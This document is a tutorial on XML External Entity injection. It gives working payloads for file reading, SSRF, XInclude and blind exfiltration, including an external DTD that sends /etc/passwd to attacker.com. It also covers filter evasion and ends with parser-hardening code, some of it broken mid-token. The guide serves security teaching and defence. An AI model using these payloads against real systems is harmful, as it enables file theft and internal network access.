

XXE (XML External Entity) Injection

XXE is a vulnerability class that lets an attacker interfere with an application's XML parsing to read server files, and — since it can also trigger outbound HTTP requests from the server — connects directly to SSRF (which, per your OWASP Top 10:2025 guide, is now folded into **A01:2025 Broken Access Control**). It's a great example of a vulnerability rooted entirely in a parser feature nobody asked for but every standard library ships with turned on by default.

1. The Root Cause — XML Entities

To understand XXE, you need to understand XML's entity system first.

XML entities are placeholders that get replaced with a defined value when the document is parsed — similar in spirit to a variable. They're declared inside a **DOCTYPE / DTD (Document Type Definition)**:

```
<!DOCTYPE foo [ <!ENTITY myentity "some value" > ]>
```

Anywhere `&myentity;` appears in the document body, the parser substitutes `some value`.

External entities take this further — instead of a hardcoded value, the entity's value is loaded from an external source: a local file path or a URL:

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```

This single line is the entire mechanism behind XXE — it tells the parser "when you see `&xxe;`, go read this file and substitute its contents." Since standard XML parsing libraries support this feature by default regardless of whether the application actually needs it, any app that parses attacker-influenced XML without explicitly disabling this feature is vulnerable.

2. Why XXE Vulnerabilities Arise

Applications that accept XML input almost always hand it off to a standard, well-tested parsing library rather than writing custom XML parsing logic. The problem is that these libraries support the *entire* XML specification — including external entity resolution — even when the application only ever needed to read a few simple data fields. **The vulnerability isn't a bug in the parser; it's a dangerous default feature nobody remembered to turn off.**

3. Basic Exploitation — Retrieving Files

Normal application request:

```
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```

Malicious XXE payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]
>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Two changes were required to make this work:

1. **Add a DOCTYPE** defining the external entity, pointing at the target file
2. **Reference that entity** inside a data value that gets echoed back in the response

If the application isn't defended, its response — normally something like "Invalid product ID: 381" — instead reflects the full contents of `/etc/passwd`, since the parser substituted the entity with the file's contents before the application ever processed the value.

Testing methodology note: real XML documents often contain many data fields, and any one of them might end up reflected in the response — a systematic tester tries the entity substitution in *each* individual field, one at a time, rather than assuming only the "obvious" field is exploitable.

4. Exploiting XXE for SSRF

Beyond reading local files, XXE can make the vulnerable server issue **outbound HTTP requests** — turning an XML parsing bug into full Server-Side Request Forgery:

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
```

Instead of `file://`, the entity's `SYSTEM` identifier points at a URL — often an **internal** address the server can reach but the attacker never could directly (an internal admin panel, a cloud metadata endpoint, an internal microservice). If the entity is reflected in the response, you get **two-way interaction** — you see the internal system's response text directly. If not, you still achieve **blind SSRF**, which can be just as damaging (e.g., hitting an internal API with side effects, even without seeing the response).

This is exactly why XXE and SSRF are now grouped under the same umbrella in OWASP's 2025 restructuring — they're mechanically distinct entry points into fundamentally the same underlying risk: the server making requests/accesses on the attacker's behalf, outside its intended trust boundary.

5. Blind XXE — When Nothing Is Reflected Back

Many real XXE vulnerabilities are **blind** — the application never returns the entity's resolved value anywhere in its response, so directly reading `/etc/passwd` in the output isn't possible. This doesn't mean it's unexploitable — it just requires more advanced techniques, mirroring the exact same escalation ladder you already learned for blind SQL injection:

a) Out-of-band (OAST) detection and exfiltration

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker-controlled-domain.com/"> ]>
```

If the server makes a request to your domain, you've confirmed the XXE fires even though nothing is reflected. Going further, you can exfiltrate actual file contents through this channel using a multi-stage external DTD hosted on your own server:

```
<!-- On attacker's server: evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
```

```
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'">
%eval;
%exfiltrate;
```

```
<!-- In the injected payload sent to the vulnerable app -->
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
```

This causes the target server to fetch your external DTD, which itself defines a further entity that reads the local file and embeds its contents into a URL requested back to your server — the file contents show up directly in your web server's access logs.

b) Error-based exfiltration

Deliberately causing the parser to throw an error that includes file contents in the error message itself — some parsers will include invalid file paths or malformed entity content directly in a verbose parsing error, leaking data without any response reflection or out-of-band channel needed at all.

c) Repurposing a local DTD

A more advanced technique for tightly locked-down environments (where outbound connections are blocked entirely) — some systems have known local DTD files already present on disk (often bundled with the OS or application framework) that define reusable entities/parameters. An attacker can reference and "repurpose" one of these existing local DTDs to construct a working exfiltration or error-based payload without needing to reach any external resource at all.

6. Finding Hidden XXE Attack Surface

XXE isn't limited to requests that obviously contain XML — several less-obvious paths deserve attention specifically because they're easy to miss:

a) XInclude Attacks

Sometimes you don't control the *entire* XML document — the application takes your single data value and embeds it into a larger, server-constructed XML

document (e.g., your input gets inserted into a back-end SOAP request). In that case you can't define your own `DOCTYPE`, since you don't control the whole document — but **XInclude** lets you achieve a similar result from within a single data value:

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/></foo>
```

This is worth remembering as the technique for exactly the situation where classic XXE seems blocked because you don't control the DOCTYPE.

b) XXE via File Upload

File formats that are secretly XML under the hood — **SVG images** and **Office document formats (DOCX, XLSX)** being the classic examples — can smuggle XXE payloads through an upload feature that thinks it's only accepting images or documents. An app expecting PNG/JPEG uploads might still process an uploaded SVG (since many image libraries support SVG), and since SVG is XML, a malicious SVG file becomes a full XXE delivery vector.

c) XXE via Modified Content-Type

Some applications tolerate more content types than they were designed for. A normal form submission:

```
Content-Type: application/x-www-form-urlencoded
foo=bar
```

might also be accepted if you simply change the content type and reformat the body as XML:

```
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```

If the backend parses this as XML at all when given this content type, you've just uncovered a completely hidden XXE attack surface on an endpoint that never appeared to touch XML in normal usage — a genuinely easy thing to miss unless you specifically try it.

7. Testing Methodology (Practical Checklist)

1. Identify any endpoint accepting XML (obvious) OR try reformatting non-XML requests as XML via Content-Type (hidden surface, Section 6c)
2. Test file retrieval: define an entity pointing at a well-known OS file (/etc/passwd on Linux, C:\Windows\win.ini on Windows) and reference it in EVERY data field, one at a time, checking the response
3. Test for blind XXE: define an entity pointing at a domain you control (Burp Collaborator or your own listener) and watch for an interaction
4. If direct XML control isn't available, test XInclude within whatever single data value you DO control
5. Test file upload features for XML-based formats (SVG, DOCX) as a delivery mechanism
6. Don't forget to also test XML-carrying inputs for XSS/SQLi – XML is just a transport format, the underlying app logic can still have other classic vulnerabilities layered underneath

Encoding note, worth remembering from your SQLi guide's evasion section: you may need to XML-escape special characters in your payload to keep it syntactically valid, and this same escaping can double as obfuscation to slip past weak filename/keyword-based defenses — exactly the same principle covered for SQLi WAF evasion.

8. Prevention — Disabling Dangerous Parser Features

The fix mirrors the SQLi guide's core lesson almost exactly: **don't try to sanitize the input, disable the dangerous capability at the source.**

The correct fix: disable resolution of external entities and disable `XInclude` support at the XML parser/library level — nearly always a configuration flag, not a code rewrite.

```
// Java example - disabling dangerous features on a DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

```
ter-entities", false);  
dbf.setXIncludeAware(false);  
dbf.setExpandEntityReferences(false);
```

```
# Python (lxml) example - use a hardened parser configurati  
on  
from lxml import etree  
parser = etree.XMLParser(resolve_entities=False, no_network  
=True)
```

Why this is the right fix rather than input validation/blocklisting: trying to filter "dangerous-looking" XML with regex or keyword blocking is exactly the same losing game as trying to blocklist SQL keywords — there are too many encoding tricks, nested entity variations, and parser-specific quirks to reliably catch every variant. Disabling the feature entirely removes the attack surface instead of trying to police it.

9. Practical Lab Example

WebGoat has a dedicated XXE lesson module (part of its broader coverage alongside the IDOR module from your last guide) – genuinely the most direct hands-on environment from your existing platform history for this.

Basic practice flow:

1. Find an endpoint accepting XML (or one you can coerce into accepting it via Content-Type, per Section 6c)
2. Submit the classic /etc/passwd payload from Section 3
3. If nothing reflects, set up a listener (even a simple `nc -lvp 8000` from your earlier Netcat guide works for basic out-of-band detection) and test the SSRF-style payload from Section 4
4. Document which specific field/parameter was vulnerable and why

10. Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-611 (Improper Restriction of XML External Entity Reference)

Framework	Mapping
OWASP Top 10:2025	A01:2025 Broken Access Control (via its absorbed SSRF angle) and A05:2025 Injection (the injection mechanism itself) — XXE genuinely straddles both depending on which impact you're exploiting
CVSS	Attack Vector often Network, Confidentiality impact typically High (file/data disclosure); can reach High/Critical overall when SSRF reaches sensitive internal infrastructure
Cyber Kill Chain	Exploitation → can directly enable further Reconnaissance (via SSRF hitting internal systems) or Actions on Objectives (direct file exfiltration)
MITRE ATT&CK	T1190 (Exploit Public-Facing Application); the SSRF angle overlaps with T1090-style internal pivoting concepts

Quick Reference Cheat Sheet

```

<!-- Basic file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]
>
<stockCheck><productId>&xxe;</productId></stockCheck>

<!-- SSRF -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-system/"> ]>

<!-- XInclude (when you don't control the full document) -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

<!-- Blind XXE via external DTD (out-of-band exfiltration) -->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]>

```

Hidden attack surface to check:

- Content-Type swapped to text/xml on normally-non-XML endpoints

- File upload accepting SVG/DOCX (XML-based formats)

Fix: disable external entity resolution + XInclude at the parser level
